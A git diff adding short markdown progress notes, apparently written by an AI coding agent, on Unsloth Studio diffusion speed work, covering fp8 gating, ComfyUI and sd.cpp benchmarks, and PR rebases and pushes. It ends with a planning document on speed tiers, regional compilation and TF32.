`qwen-image` our `1.78(int8)` vs `6.01` = `3.4x`. +- Resolved error: initial repo guess `Comfy-Org/FLUX.2-klein` was missing with `RepositoryNotFoundError: 404 Client Error`; resolved by using `Comfy-Org/flux2-klein`. +- Completed: all 4 models now have fair ComfyUI best fp8 comparisons against our best results. +- Completed: final conclusion documented that `diffusers+opts` beats ComfyUI GPU best by `1.9–3.7x`, `sd.cpp` beats CPU ComfyUI/diffusers by about `~1.7x`, and accuracy rule is satisfied with `LPIPS ≤ 0.17`. +- Pending: none stated in this span. \ No newline at end of file diff --git a/async_task_outputs/async_task_output_pvzllf.md b/async_task_outputs/async_task_output_pvzllf.md new file mode 100644 index 0000000000..9bb53b2b58 --- /dev/null +++ b/async_task_outputs/async_task_output_pvzllf.md @@ -0,0 +1 @@ +- PENDING: `sd.cpp`/ComfyUI accuracy \ No newline at end of file diff --git a/async_task_outputs/async_task_output_qc1aoq.md b/async_task_outputs/async_task_output_qc1aoq.md new file mode 100644 index 0000000000..ba1a5cf860 --- /dev/null +++ b/async_task_outputs/async_task_output_qc1aoq.md @@ -0,0 +1 @@ +- Pushed #6769: `c846c9896` \ No newline at end of file diff --git a/async_task_outputs/async_task_output_qgexvi.md b/async_task_outputs/async_task_output_qgexvi.md new file mode 100644 index 0000000000..16bc8c0c21 --- /dev/null +++ b/async_task_outputs/async_task_output_qgexvi.md @@ -0,0 +1,22 @@ +- Decision: implemented name-based GPU class detection so fp8 `use_fast_accum` defaults to enabled on consumer/workstation GPUs and disabled on recognized data-center GPUs; reason was user directive to maximize data-center accuracy despite measured ~8% speed loss. +- Decision: added user override `transformer_quant_fast_accum` because user explicitly answered `Gate as I asked ... But also add it as an option for the user`; default `None` means auto, `True`/`False` force behavior. +- Decision: token-exact GPU matching was chosen so workstation names like `A4000` are not misclassified as data-center token `A40`. +- Edited `/mnt/disks/unslothai/ubuntu/workspace_81/unsloth/studio/backend/core/inference/diffusion_transformer_quant.py`: added `_is_consumer_gpu()`, tri-state fast-accum resolver, and fp8 config plumbing so `Float8MMConfig(... use_fast_accum=...)` depends on auto/override. +- Edited `/mnt/disks/unslothai/ubuntu/workspace_81/unsloth/studio/backend/core/inference/diffusion.py`: threaded `transformer_quant_fast_accum` through dense quant pipeline load and `quantize_transformer(...)`. +- Edited `/mnt/disks/unslothai/ubuntu/workspace_81/unsloth/studio/backend/models/inference.py`: added request field `transformer_quant_fast_accum`. +- Edited `/mnt/disks/unslothai/ubuntu/workspace_81/unsloth/studio/backend/routes/inference.py`: forwards new request field into backend load path. +- Edited `/mnt/disks/unslothai/ubuntu/workspace_81/unsloth/scripts/diffusion_bench.py`: added CLI flag `--fp8-fast-accum auto|on|off` and forwards it. +- Edited `/mnt/disks/unslothai/ubuntu/workspace_81/unsloth/studio/backend/tests/test_diffusion_transformer_quant.py`: added consumer/data-center/workstation/unknown detector tests and resolver/quantize forwarding coverage. +- Edited `/mnt/disks/unslothai/ubuntu/workspace_81/unsloth/studio/backend/tests/test_diffusion_routes.py`: added route forwarding test for `transformer_quant_fast_accum`. +- Edited `/mnt/disks/unslothai/ubuntu/workspace_81/unsloth/temp/phase8_pr_body.md`: updated PR body to describe gating and override. +- Ran `python -m pytest tests/test_diffusion_transformer_quant.py -q`; key output `27 passed in 0.18s`. +- Ran B200 verification with `CUDA_VISIBLE_DEVICES=4`; key output `device='NVIDIA B200' is_consumer=False`, `Float8MMConfig(... use_fast_accum=False ...)`, `fp8 gen: median 0.665s`. +- Ran full AST/test check: `python -c "import ast; ..."; pytest ...`; key output `AST OK`, `187 passed, 4993 deselected, 1 warning in 15.60s`. +- Ran B200 override verification using `scripts/diffusion_bench.py ... --fp8-fast-accum on`; key output `gen[0] 0.621s`, `gen[1] 0.608s`, `generate: median=0.6082s`, proving override enabled fast accumulate. +- Encountered edit error `String to replace not found in file.` in `/mnt/disks/unslothai/ubuntu/workspace_81/unsloth/studio/backend/tests/test_diffusion_transformer_quant.py`; resolved by locating reformatted test with `grep -n` and editing the current text. +- Initial push rejected with non-fast-forward hints `hint: the same ref. If you want to integrate the remote changes, use` and `hint: 'git pull' before pushing again.`; resolved by fetch/rebase/push fallback. +- Ran sync verification: `git fetch origin diffusion-phase8-quant`; key output `ahead/behind: 1 1`, then `Successfully rebased and updated refs/heads/diffusion-phase8-quant.`, pushed `244124d74..10db6a477`, final output `=== final sync === 0 0`. +- Ran PR update/confirmation: `gh pr edit 6694 --body-file temp/phase8_pr_body.md`; emitted GraphQL deprecation warning about `Projects (classic)`. Then `gh pr view 6694 --json mergeable,state,commits`; key output `state=OPEN mergeable=MERGEABLE commits=7`. +- COMPLETED: consumer/data-center auto-gating, user override, bench CLI flag, backend/request/route plumbing, PR body update, GPU verification, tests, commit/rebase/push to PR `#6694`. +- COMPLETED: PR `#6694` is open, mergeable, branch synced (`0 0` ahead/behind), and latest pushed commit includes the changes. +- PENDING: none noted at end of span. \ No newline at end of file diff --git a/async_task_outputs/async_task_output_qhxcs2.md b/async_task_outputs/async_task_output_qhxcs2.md new file mode 100644 index 0000000000..01ad6ba5cb --- /dev/null +++ b/async_task_outputs/async_task_output_qhxcs2.md @@ -0,0 +1 @@ +- Made `scripts/compare_engines.py`; run pending \ No newline at end of file diff --git a/async_task_outputs/async_task_output_qzsra8.md b/async_task_outputs/async_task_output_qzsra8.md new file mode 100644 index 0000000000..6b5aa307d4 --- /dev/null +++ b/async_task_outputs/async_task_output_qzsra8.md @@ -0,0 +1,2 @@ +- User asked: `So for the PyTorch part, which optimizations did you do, and what impact does each provide` +- PENDING: answer with PyTorch optimizations and per-optimization impact. \ No newline at end of file diff --git a/async_task_outputs/async_task_output_r7h7rh.md b/async_task_outputs/async_task_output_r7h7rh.md new file mode 100644 index 0000000000..79eb8823d9 --- /dev/null +++ b/async_task_outputs/async_task_output_r7h7rh.md @@ -0,0 +1,9 @@ +- Decision: corrected benchmark scope because previous comparison used ComfyUI GGUF default, not ComfyUI best; fair baseline is ComfyUI `fp8` + `--fast` + compile where available. +- Decision: ComfyUI 0.26.0 exposes `fp8_e4m3fn`, `fp8_e4m3fn_fast`, `fp8_e5m2`; no dynamic `int8`; `nvfp4` only via prequantized file. +- Edited `/mnt/disks/unslothai/ubuntu/workspace_81/unsloth/scripts/comfy_bench.py`: added UNETLoader-based `flux.1-fp8`, `qwen-image-fp8`, and `qwen-image-nvfp4` benchmark workflows. +- Edited `/mnt/disks/unslothai/ubuntu/workspace_81/unsloth/outputs/FINAL_engine_comparison.md`: updated final table/verdict to best-vs-best: FLUX ComfyUI `1.00s` vs ours `0.518s`; Qwen ComfyUI `6.01s` vs ours `1.78s`. +- Commands/results: started ComfyUI `--fast` on port `8234`; confirmed UNETLoader sees fp8/nvfp4 files; downloaded `flux1-schnell-fp8.safetensors` `17.24 GB`, `qwen_image_fp8_e4m3fn.safetensors` `20.43 GB`, `qwen_image_nvfp4.safetensors` `19.77 GB`. +- Bench results: ComfyUI fp8 no compile FLUX `1.00s`/`25.2GB`, Qwen `6.01s`/`49.4GB`; fp8+compile FLUX `1.01s`/`62.9GB`, Qwen `6.06s`/`81.3GB`; nvfp4+compile Qwen `14.16s`/`101.1GB`. +- Errors: compound restart/kill commands exited `144` due `pkill`; resolved by standalone launch and individual kill; ComfyUI procs remaining `0`. +- COMPLETED: corrected FLUX.1 and Qwen best-vs-best GPU comparison and writeup. +- PENDING: optional fp8 best-vs-best rerun for Z-Image and FLUX.2-klein. \ No newline at end of file diff --git a/async_task_outputs/async_task_output_rqwz5y.md b/async_task_outputs/async_task_output_rqwz5y.md new file mode 100644 index 0000000000..110a471abe --- /dev/null +++ b/async_task_outputs/async_task_output_rqwz5y.md @@ -0,0 +1,4 @@ +- Edited `/mnt/disks/unslothai/ubuntu/workspace_81/unsloth/studio/...`: sd.cpp timeout/cleanup/tests; `model_kind` backend/API/UI; quant gated to GGUF; sentinel fix. +- Ran tests/build: 97 backend passed; sd.cpp 19 passed; `tsc=0`; build ok. +- `reviewer.py` ended `exit 143`; no report. +- Deployed `https://poster-beer-devel-watts.trycloudflare.com`. diff --git a/async_task_outputs/async_task_output_rt5k7l.md b/async_task_outputs/async_task_output_rt5k7l.md new file mode 100644 index 0000000000..3d51e4ec98 --- /dev/null +++ b/async_task_outputs/async_task_output_rt5k7l.md @@ -0,0 +1 @@ +- Asked benchmark all models/PRs \ No newline at end of file diff --git a/async_task_outputs/async_task_output_sa2qcf.md b/async_task_outputs/async_task_output_sa2qcf.md new file mode 100644 index 0000000000..8500e99d5b --- /dev/null +++ b/async_task_outputs/async_task_output_sa2qcf.md @@ -0,0 +1 @@ +- PR `#6675` created, mergeable. \ No newline at end of file diff --git a/async_task_outputs/async_task_output_sehiao.md b/async_task_outputs/async_task_output_sehiao.md new file mode 100644 index 0000000000..bd012d9b1b --- /dev/null +++ b/async_task_outputs/async_task_output_sehiao.md @@ -0,0 +1 @@ +Continue the latest directive: review all phase PRs and their comments, decide which comments identify real issues, and fix only those real issues. The current focus is Phase 9 PR #6700, where the assistant identified that `transformer_prequant_path` bypasses the signed `native_path_lease` system and planned a low-risk default-deny fix for request-supplied local pickle paths while preserving trusted hosted-repo behavior. The last Bash checkout/reset of `diffusion-phase9-prequant` is DONE; do not rerun it. Next, inspect the checked-out branch files around `transformer_prequant_path` validation and implement the Phase 9 fix. \ No newline at end of file diff --git a/async_task_outputs/async_task_output_si878q.md b/async_task_outputs/async_task_output_si878q.md new file mode 100644 index 0000000000..29467f3a20 --- /dev/null +++ b/async_task_outputs/async_task_output_si878q.md @@ -0,0 +1 @@ +- `/login` ok; PR link received \ No newline at end of file diff --git a/async_task_outputs/async_task_output_sjuui0.md b/async_task_outputs/async_task_output_sjuui0.md new file mode 100644 index 0000000000..f058b4c236 --- /dev/null +++ b/async_task_outputs/async_task_output_sjuui0.md @@ -0,0 +1 @@ +- `increasing performance and speed` \ No newline at end of file diff --git a/async_task_outputs/async_task_output_ssca8h.md b/async_task_outputs/async_task_output_ssca8h.md new file mode 100644 index 0000000000..b402ccc284 --- /dev/null +++ b/async_task_outputs/async_task_output_ssca8h.md @@ -0,0 +1 @@ +- Edit tab done; live verified; #148/#149 pending \ No newline at end of file diff --git a/async_task_outputs/async_task_output_ssjou7.md b/async_task_outputs/async_task_output_ssjou7.md new file mode 100644 index 0000000000..91300daa30 --- /dev/null +++ b/async_task_outputs/async_task_output_ssjou7.md @@ -0,0 +1 @@ +- Check NVFP4/FP8 low-mem; continue \ No newline at end of file diff --git a/async_task_outputs/async_task_output_t6piq3.md b/async_task_outputs/async_task_output_t6piq3.md new file mode 100644 index 0000000000..d38eeb34f1 --- /dev/null +++ b/async_task_outputs/async_task_output_t6piq3.md @@ -0,0 +1 @@ +Continue the latest directive: try out PyTorch/diffusers optimizations, review the linked PyTorch Inductor config, Diffusers optimization docs, and related articles/repos, using 5 Opus subagents unforked to group the materials and identify leverageable improvements. The latest tool call already completed: it fetched/rebased onto remote, ran `tests/test_diffusion_speed.py`, and appears to have succeeded; do not rerun it. Next action is to inspect the completed command output/truncated state if available, then push the rebased `diffusion-phase7-perf` branch or otherwise continue the PR update flow implied by “Remote advanced… rebase and push.” \ No newline at end of file diff --git a/async_task_outputs/async_task_output_t9630i.md b/async_task_outputs/async_task_output_t9630i.md new file mode 100644 index 0000000000..31a0cbf37a --- /dev/null +++ b/async_task_outputs/async_task_output_t9630i.md @@ -0,0 +1 @@ +- Pending: resume ComfyUI GPU7 benchmarks \ No newline at end of file diff --git a/async_task_outputs/async_task_output_tbwscy.md b/async_task_outputs/async_task_output_tbwscy.md new file mode 100644 index 0000000000..2fa178e578 --- /dev/null +++ b/async_task_outputs/async_task_output_tbwscy.md @@ -0,0 +1 @@ +Continue the latest task: finish the review-fix branch workflow and restore the Phase-17 working state after pushing the final `diffusion-phase1` branch. The last completed tool was `Bash` “Restore Phase-17 working state,” which checked out `diffusion-eager-and-compile-cache`, restored held core/test files, and popped the Phase-17 stash. Next, inspect the post-restore git status and continue from the restored Phase-17 working tree; do not re-run the completed commit/push or restore commands. \ No newline at end of file diff --git a/async_task_outputs/async_task_output_tm56wo.md b/async_task_outputs/async_task_output_tm56wo.md new file mode 100644 index 0000000000..e780d7f7f9 --- /dev/null +++ b/async_task_outputs/async_task_output_tm56wo.md @@ -0,0 +1 @@ +- Used `gh pr view`; found #6658 base, PRs #6670-#6717 stacked open. \ No newline at end of file diff --git a/async_task_outputs/async_task_output_u3ea3h.md b/async_task_outputs/async_task_output_u3ea3h.md new file mode 100644 index 0000000000..9e84f2fcb0 --- /dev/null +++ b/async_task_outputs/async_task_output_u3ea3h.md @@ -0,0 +1 @@ +- Safetensors done; Studio restarted \ No newline at end of file diff --git a/async_task_outputs/async_task_output_u8vd3f.md b/async_task_outputs/async_task_output_u8vd3f.md new file mode 100644 index 0000000000..8909a17d70 --- /dev/null +++ b/async_task_outputs/async_task_output_u8vd3f.md @@ -0,0 +1,9 @@ +- Decision: `use_fast_accum=True` treated as precision tradeoff, not overflow risk, because FP8 GEMM still uses FP32 accumulator and torchao dynamic scaling bounds FP8 inputs before cast. +- Decision: Z-Image singled out as strongest overflow test because it is `fp16_incompatible` with activations around `~9e5`. +- Created `/mnt/disks/unslothai/ubuntu/workspace_81/unsloth/scripts/fp8_overflow_check.py`: probe hooks all quantized linears during real Z-Image generation and reports max abs/nonfinite/image finite for `fast_accum=True/False`. +- Edited `/mnt/disks/unslothai/ubuntu/workspace_81/unsloth/temp/phase8_pr_body.md`: added overflow verification artifact/results. +- Ran `CUDA_VISIBLE_DEVICES=4 python3 -u scripts/fp8_overflow_check.py`; first attempt exit `1` due Dynamo hook compile error. +- Resolved by editing probe to run eager/lower workload; rerun exit `0`: `fast_accum=True hooked_linears=276 max|linear_out|=1007616.0 nonfinite_elems=0 image_all_finite=True`; same for `fast_accum=False`. +- Commit attempted, push initially rejected due remote advancing; verified local `3a3c9abdd` vs remote `bdb8eb918`, ahead/behind `1 1`. +- Ran `git rebase origin/diffusion-phase8-quant -X theirs` then `git push origin diffusion-phase8-quant`; pushed `bdb8eb918..e966a6d7e`, verified ahead/behind `0 0`. +- Completed: PR `#6694` updated, branch `diffusion-phase8-quant` remote contains `scripts/fp8_overflow_check.py`, PR mergeable. diff --git a/async_task_outputs/async_task_output_v18gdm.md b/async_task_outputs/async_task_output_v18gdm.md new file mode 100644 index 0000000000..bd0f35b3e2 --- /dev/null +++ b/async_task_outputs/async_task_output_v18gdm.md @@ -0,0 +1 @@ +- Asked if all PRs target `unsloth studio` diffusion speedups \ No newline at end of file diff --git a/async_task_outputs/async_task_output_v2ldsv.md b/async_task_outputs/async_task_output_v2ldsv.md new file mode 100644 index 0000000000..b37185e2e6 --- /dev/null +++ b/async_task_outputs/async_task_output_v2ldsv.md @@ -0,0 +1 @@ +- Do `(3)` first; rest later. \ No newline at end of file diff --git a/async_task_outputs/async_task_output_v5tcx6.md b/async_task_outputs/async_task_output_v5tcx6.md new file mode 100644 index 0000000000..e71b36e438 --- /dev/null +++ b/async_task_outputs/async_task_output_v5tcx6.md @@ -0,0 +1 @@ +- PR `#6717` green: HEAD `9c5b35c71` synced, 29 pass, 5 pending. \ No newline at end of file diff --git a/async_task_outputs/async_task_output_vdv78e.md b/async_task_outputs/async_task_output_vdv78e.md new file mode 100644 index 0000000000..8678602582 --- /dev/null +++ b/async_task_outputs/async_task_output_vdv78e.md @@ -0,0 +1 @@ +- sd.cpp unwired; live path diffusers+GGUF \ No newline at end of file diff --git a/async_task_outputs/async_task_output_vei0mf.md b/async_task_outputs/async_task_output_vei0mf.md new file mode 100644 index 0000000000..8b66ff0efc --- /dev/null +++ b/async_task_outputs/async_task_output_vei0mf.md @@ -0,0 +1,4 @@ +- Decision: `SAFETENSORS_MODELS` uses full repo ids, so On Device `unsloth/Qwen-Image-2512-FP8` resolves to `single_file`. +- Created `/mnt/disks/unslothai/ubuntu/workspace_81/scripts/studio_ondevice_load_verify.py`. +- Ran E2E: FP8 On Device click loaded `model_kind='single_file'`; unloaded OK. +- COMPLETED: fixes verified. PENDING: SDXL/#196/#185. \ No newline at end of file diff --git a/async_task_outputs/async_task_output_vm1ibj.md b/async_task_outputs/async_task_output_vm1ibj.md new file mode 100644 index 0000000000..d178c7466b --- /dev/null +++ b/async_task_outputs/async_task_output_vm1ibj.md @@ -0,0 +1 @@ +- Goal: beat ComfyUI via `sd.cpp` \ No newline at end of file diff --git a/async_task_outputs/async_task_output_vrmbti.md b/async_task_outputs/async_task_output_vrmbti.md new file mode 100644 index 0000000000..c799b163a5 --- /dev/null +++ b/async_task_outputs/async_task_output_vrmbti.md @@ -0,0 +1,3 @@ +- User asked: `What are the torch compile flags - did you enable CUDAGraphs and also see https://docs.pytorch.org/docs/stable/generated/torch.compile.html` +- Decision/context: Need verify or explain `torch.compile` flags, specifically whether CUDAGraphs are enabled. +- Pending: Inspect relevant code/config and compare against PyTorch `torch.compile` docs at `https://docs.pytorch.org/docs/stable/generated/torch.compile.html`. \ No newline at end of file diff --git a/async_task_outputs/async_task_output_w37m7v.md b/async_task_outputs/async_task_output_w37m7v.md new file mode 100644 index 0000000000..723f03347a --- /dev/null +++ b/async_task_outputs/async_task_output_w37m7v.md @@ -0,0 +1 @@ +- PENDING: verify PR #6717 gates \ No newline at end of file diff --git a/async_task_outputs/async_task_output_wdk0jp.md b/async_task_outputs/async_task_output_wdk0jp.md new file mode 100644 index 0000000000..9a08bb0ce3 --- /dev/null +++ b/async_task_outputs/async_task_output_wdk0jp.md @@ -0,0 +1,2 @@ +- Adv+inpaint done +- Restart pending \ No newline at end of file diff --git a/async_task_outputs/async_task_output_wkyewq.md b/async_task_outputs/async_task_output_wkyewq.md new file mode 100644 index 0000000000..12e5b71e23 --- /dev/null +++ b/async_task_outputs/async_task_output_wkyewq.md @@ -0,0 +1,2 @@ +- Review launched: `reviewer.py` bg `bj7gbc091` + 3 forks; pending `reviewer.py` +- Findings: fix GGUF quant UI, download timeout/tests; backend no Med/High \ No newline at end of file diff --git a/async_task_outputs/async_task_output_wr4fbc.md b/async_task_outputs/async_task_output_wr4fbc.md new file mode 100644 index 0000000000..ec0ae06a24 --- /dev/null +++ b/async_task_outputs/async_task_output_wr4fbc.md @@ -0,0 +1 @@ +- Asked perf compare: `sd`/PyTorch \ No newline at end of file diff --git a/async_task_outputs/async_task_output_wroolh.md b/async_task_outputs/async_task_output_wroolh.md new file mode 100644 index 0000000000..ec16e690d0 --- /dev/null +++ b/async_task_outputs/async_task_output_wroolh.md @@ -0,0 +1 @@ +Continue answering the user’s latest matrix-coverage question: whether Mac/Windows/Linux/WSL × NVIDIA/AMD/CPU/Mac × many models is “fully optimized” versus ComfyUI/diffusers/sd.cpp. State plainly that only Linux x86_64 + NVIDIA B200 GPU and Linux CPU were measured; Mac, Windows, WSL, AMD, Intel, and Apple/MPS remain unvalidated here, with CUDA-only fp8/int8 fast quant as the key limitation. No tool is in flight; next action is to proceed from the completed hardware enumeration and `outputs/coverage_matrix.md` write, without re-running completed commands unless fresh evidence is needed. \ No newline at end of file diff --git a/async_task_outputs/async_task_output_wte90e.md b/async_task_outputs/async_task_output_wte90e.md new file mode 100644 index 0000000000..1a31dc9bc7 --- /dev/null +++ b/async_task_outputs/async_task_output_wte90e.md @@ -0,0 +1 @@ +- Q: `GGUFs` backend? `PyTorch`? \ No newline at end of file diff --git a/async_task_outputs/async_task_output_wyakyz.md b/async_task_outputs/async_task_output_wyakyz.md new file mode 100644 index 0000000000..1e55b21146 --- /dev/null +++ b/async_task_outputs/async_task_output_wyakyz.md @@ -0,0 +1 @@ +- Wrote `outputs/threeway/SUMMARY.md`; pending Z/Flux2, LPIPS, CPU. \ No newline at end of file diff --git a/async_task_outputs/async_task_output_x50ivh.md b/async_task_outputs/async_task_output_x50ivh.md new file mode 100644 index 0000000000..26cb4a8191 --- /dev/null +++ b/async_task_outputs/async_task_output_x50ivh.md @@ -0,0 +1 @@ +- Completed: `[pr-link]`, `[hook_success]` \ No newline at end of file diff --git a/async_task_outputs/async_task_output_x6pfaj.md b/async_task_outputs/async_task_output_x6pfaj.md new file mode 100644 index 0000000000..5403db6b40 --- /dev/null +++ b/async_task_outputs/async_task_output_x6pfaj.md @@ -0,0 +1 @@ +Continue the latest directive: check all PRs again, fix merge conflicts, merge from main, fix only real issues, and confirm whether any local work is missing from the PRs. The phase chain 4→16 is already cascaded and pushed; do not rerun the completed phase16 validation/push. The last completed tool attempted to merge phase16 into `diffusion-image-workflows` #6769 and produced conflicts in `studio/backend/core/inference/diffusion.py`, `diffusion_families.py`, and additional `studio/b...` paths from the truncated result. Next action: inspect the current conflicted merge state in `/mnt/disks/unslothai/ubuntu/workspace_81/unsloth`, resolve the conflicts for #6769, then validate and push that branch before continuing up the stack. \ No newline at end of file diff --git a/async_task_outputs/async_task_output_xho1tf.md b/async_task_outputs/async_task_output_xho1tf.md new file mode 100644 index 0000000000..5cabc227ea --- /dev/null +++ b/async_task_outputs/async_task_output_xho1tf.md @@ -0,0 +1 @@ +- Done GGUF relabel `38a69ab15` \ No newline at end of file diff --git a/async_task_outputs/async_task_output_xklshy.md b/async_task_outputs/async_task_output_xklshy.md new file mode 100644 index 0000000000..0122afaad3 --- /dev/null +++ b/async_task_outputs/async_task_output_xklshy.md @@ -0,0 +1 @@ +- PR `#6658` inspected via `gh pr view` \ No newline at end of file diff --git a/async_task_outputs/async_task_output_xsopjx.md b/async_task_outputs/async_task_output_xsopjx.md new file mode 100644 index 0000000000..ecbdc2b2b5 --- /dev/null +++ b/async_task_outputs/async_task_output_xsopjx.md @@ -0,0 +1,4 @@ +- User requested a list of all PRs made by the assistant that were moved from the stack of `https://github.com/unslothai/unsloth/pull/6658`. +- No decisions, file edits, commands, or errors occurred in this span. +- COMPLETED: request captured for continuation. +- PENDING: inspect GitHub/local branch or PR metadata to identify the relevant PRs and report them. \ No newline at end of file diff --git a/async_task_outputs/async_task_output_yofm42.md b/async_task_outputs/async_task_output_yofm42.md new file mode 100644 index 0000000000..bb8466a5ac --- /dev/null +++ b/async_task_outputs/async_task_output_yofm42.md @@ -0,0 +1,4 @@ +- Decision: attributed Z-Image diffusers resident-GPU `default` gains almost entirely to `compile_repeated_blocks`; `channels_last`/`cudnn.benchmark` kept because free no-ops on DiT but useful for UNet. +- Evidence: `compile_probe.py` compile-only eager `1.83 → 0.79 s` `+56.6%`; `perf_verify.py` full default `1.80 → 0.82 s` `-54.7%`. +- Not isolated: `inference_mode`, TF32, fused QKV; offered clean ablation on `GPU 6`. +- Completed: answered attribution and caveats. \ No newline at end of file diff --git a/async_task_outputs/async_task_output_z8vkqi.md b/async_task_outputs/async_task_output_z8vkqi.md new file mode 100644 index 0000000000..0e1c85ac95 --- /dev/null +++ b/async_task_outputs/async_task_output_z8vkqi.md @@ -0,0 +1 @@ +- GGUF diffusers dequantizes; sd.cpp likely faster \ No newline at end of file diff --git a/async_task_outputs/async_task_output_zl4zum.md b/async_task_outputs/async_task_output_zl4zum.md new file mode 100644 index 0000000000..1d720dd295 --- /dev/null +++ b/async_task_outputs/async_task_output_zl4zum.md @@ -0,0 +1 @@ +- Decision: INT8 uses `Qwen/Qwen-Image` diff --git a/async_task_outputs/extra_plan.md b/async_task_outputs/extra_plan.md new file mode 100644 index 0000000000..501f6e9ebe --- /dev/null +++ b/async_task_outputs/extra_plan.md @@ -0,0 +1,238 @@ +**(1) Summary & Findings** + +The target change should be treated as a measurement-driven speed-tier restructure, not as a blanket rewrite. The current evidence in the prompt already says the safest eager patches are installed broadly, while earlier direct in-place rewrites measured roughly neutral. The plan should preserve that bias: make the new tier behavior explicit, keep class-level monkey patches reversible and idempotent, and only promote additional dense-path in-place changes when they pass correctness and performance gates on each supported transformer family. + +The proposed tier model is coherent: + +`off`: +No speed patches beyond whatever the base runtime requires. + +`default`: +Enable channels-last where applicable, cuDNN tuning/configuration, compiled GGUF dequant-only path, and eager monkey patches for all supported dense and GGUF diffusion transformer paths. + +`max`: +Enable everything in `default`, then add regional compilation of repeated transformer blocks, TF32 where supported and acceptable, and fused-QKV where the model class and attention implementation can safely use it. + +The important semantic change is that `max` becomes a strict superset of `default`. That means compiled GGUF dequant must no longer be assumed mutually exclusive with regional transformer compilation until tests prove it has to be. The expected implementation should first try composition, then fall back only with a narrow capability flag and a documented reason. + +The current Diffusers transformer structures look favorable for regional compilation because the target model families expose repeated transformer blocks. PyTorch’s regional compilation guidance explicitly targets repeated regions to reduce compile cold-start cost while still compiling hot blocks: [PyTorch regional compilation recipe](https://docs.pytorch.org/tutorials/recipes/regional_compilation.html). The lower-level API also describes nested compile regions as reusable repeated regions, with recompilation only when guards such as shape, dtype, device, or stride change: [torch.compiler API](https://docs.pytorch.org/docs/stable/torch.compiler_api.html). + +The in-place dense-path optimization opportunity is narrower than it first appears. The common formulas are residual adds, gated residual adds, and AdaLayerNorm-style modulation such as `norm * (1 + scale) + shift`. These are usually safe only when the mutated tensor is a fresh activation, is not reused by another branch, is not returned as an alias that callers expect to remain independent, and does not interfere with compiler/CUDA graph assumptions. For most eager inference paths, in-place modulation of fresh normalization outputs is more promising than mutating incoming block inputs. + +Channels-last should remain part of `default`, but its benefit is likely concentrated in 4D image/conv paths rather than the 3D sequence tensors used inside DiT transformer blocks. PyTorch documents channels-last as a memory format for 4D NCHW tensors: [channels-last tutorial](https://docs.pytorch.org/tutorials/intermediate/memory_format_tutorial.html). The implementation should avoid forcing channels-last on sequence tensors or creating hidden layout conversions that erase the win. + +TF32 belongs in `max`, not `default`, because it can change numerical results for float32 matmul/convolution. PyTorch documents TF32 as faster but lower mantissa precision on supported NVIDIA devices: [CUDA semantics: TF32](https://docs.pytorch.org/docs/stable/notes/cuda.html). It should be enabled with saved/restored global flags and validated by image/tensor tolerances, not assumed harmless. + +Global reusable buffers are plausible but high-risk. PyTorch’s CUDA caching allocator already tries to reach a steady state by reusing freed memory, which explains why manual reusable buffers can benchmark neutral: [PyTorch CUDA allocator overview](https://zdevito.github.io/2022/08/04/cuda-caching-allocator.html). Manual buffers are most likely useful only if profiling shows allocator churn or peak memory spikes that the allocator cannot smooth out. They are most dangerous inside compiled regions, because mutated inputs or dynamic buffer resizing can cause graph breaks, skipped CUDA graphs, or recompiles. PyTorch’s CUDA graph docs call out mutation and static-address constraints: [CUDAGraph Trees](https://docs.pytorch.org/docs/stable/user_guide/torch_compiler/torch.compiler_cudagraph_trees.html). + +**(2) Important Issues To Investigate Or Look Further Into** + +The first issue is whether compiled GGUF dequant composes with regional compile. Test both application orders: compile dequant first then compile repeated blocks, and compile repeated blocks first then wrap dequant. The desired behavior is one stable compiled dequant path reused inside or beside the regionally compiled block, without graph breaks, recompilation loops, stale dequant buffers, or correctness drift. + +The second issue is dense-path in-place mutation safety. For each supported transformer family, classify candidate mutations into three groups: + +Safe-looking: +In-place modulation on fresh normalization outputs, such as multiply/add on the output of LayerNorm or RMSNorm before attention/MLP. + +Conditionally safe: +In-place residual adds to `hidden_states` or `encoder_hidden_states`, only if no caller-visible alias, hook, adapter, attention processor, or later branch needs the pre-add value. + +Risky: +In-place activation rewrites inside feed-forward modules, especially where activation inputs may be reused, where approximate GELU implementations are module-specific, or where compiler fusion already handles the elementwise chain. + +The third issue is model-specific modulation behavior. Qwen-style modulation can use per-token selection paths, while Z-Image-style modulation includes noisy/clean token selection and tanh gates. These branches may be correct in eager mode but create extra compiler guards or less stable fused graphs. They need per-model tests rather than a single shared assumption. + +The fourth issue is regional compile granularity. Compiling the whole transformer may produce stronger fusion but higher cold start and more graph-break risk. Compiling repeated blocks should be the default `max` strategy, but the exact block boundary must include enough computation to matter while excluding dynamic preprocessing, image packing/unpacking, scheduler logic, progress callbacks, and optional non-tensor control flow. + +The fifth issue is reversibility and idempotence. Since the system uses class-level monkey patches, tier switching must be safe across repeated pipeline loads, multiple model classes, and switching from `max` back to `default` or `off`. Every patch needs an original-method registry, an installed-state key, and a clean unpatch path. + +The sixth issue is numerical tolerance. “No accuracy beyond fp noise” should be operationalized as tensor-level and image-level checks. Dense BF16/FP16 paths can use tolerances appropriate to dtype. FP32 with TF32 enabled needs separate thresholds and should be reported as a `max`-only behavior change. + +The seventh issue is global-buffer lifetime. The arbiter guarantees one active pipeline, but that does not automatically guarantee safe buffer reuse across CUDA streams, async execution, callbacks, interrupted requests, shape changes, or teardown. Any reusable buffer scheme must be keyed by device, dtype, shape, and possibly stream, and it must never return a tensor that aliases the scratch buffer unless ownership is explicit. + +The eighth issue is channels-last scope. The plan should verify that channels-last conversion is applied only to compatible modules/tensors and does not add repeated `contiguous` or layout conversion costs inside transformer blocks. + +The ninth issue is fused-QKV compatibility. Fused-QKV must be tested against dense safetensors, GGUF, LoRA/adapters, custom attention processors, model offload, and torch.compile. It should not be enabled by class name alone; it needs structural checks on projection shapes, bias handling, dtype, quantization wrappers, and processor expectations. + +**(3) Approximate Plan On How To Resolve / Investigate / Do Task** + +1. Establish a baseline matrix. + +Measure current `off`, current `default`, and current `max` behavior before edits. Capture latency, warmup time, compile time, peak memory, allocation count if available, output tensor deltas, and generated image deltas. Use fixed seeds, fixed scheduler settings, identical prompts, identical dimensions, and a small number of representative resolutions. + +Matrix dimensions: +Dense safetensors and GGUF. +Each supported transformer family. +Cold run and warmed run. +Eager and compiled where applicable. +At least one static-shape repeated run and one changed-shape run. + +2. Define the new tier contract first. + +Make the speed-tier resolver produce an explicit feature set instead of scattered conditionals. The contract should be: + +`default = channels_last + cudnn + eager_patches + gguf_dequant_compile` + +`max = default + regional_compile + tf32 + fused_qkv` + +This should be represented as capability flags that downstream patch/install code consumes. The key invariant is that `max` starts from the already-resolved `default` feature set, not from a separate branch. + +3. Normalize patch ordering. + +Use one deterministic install order: + +Runtime/global backend flags. +Memory format setup. +Class-level eager patches. 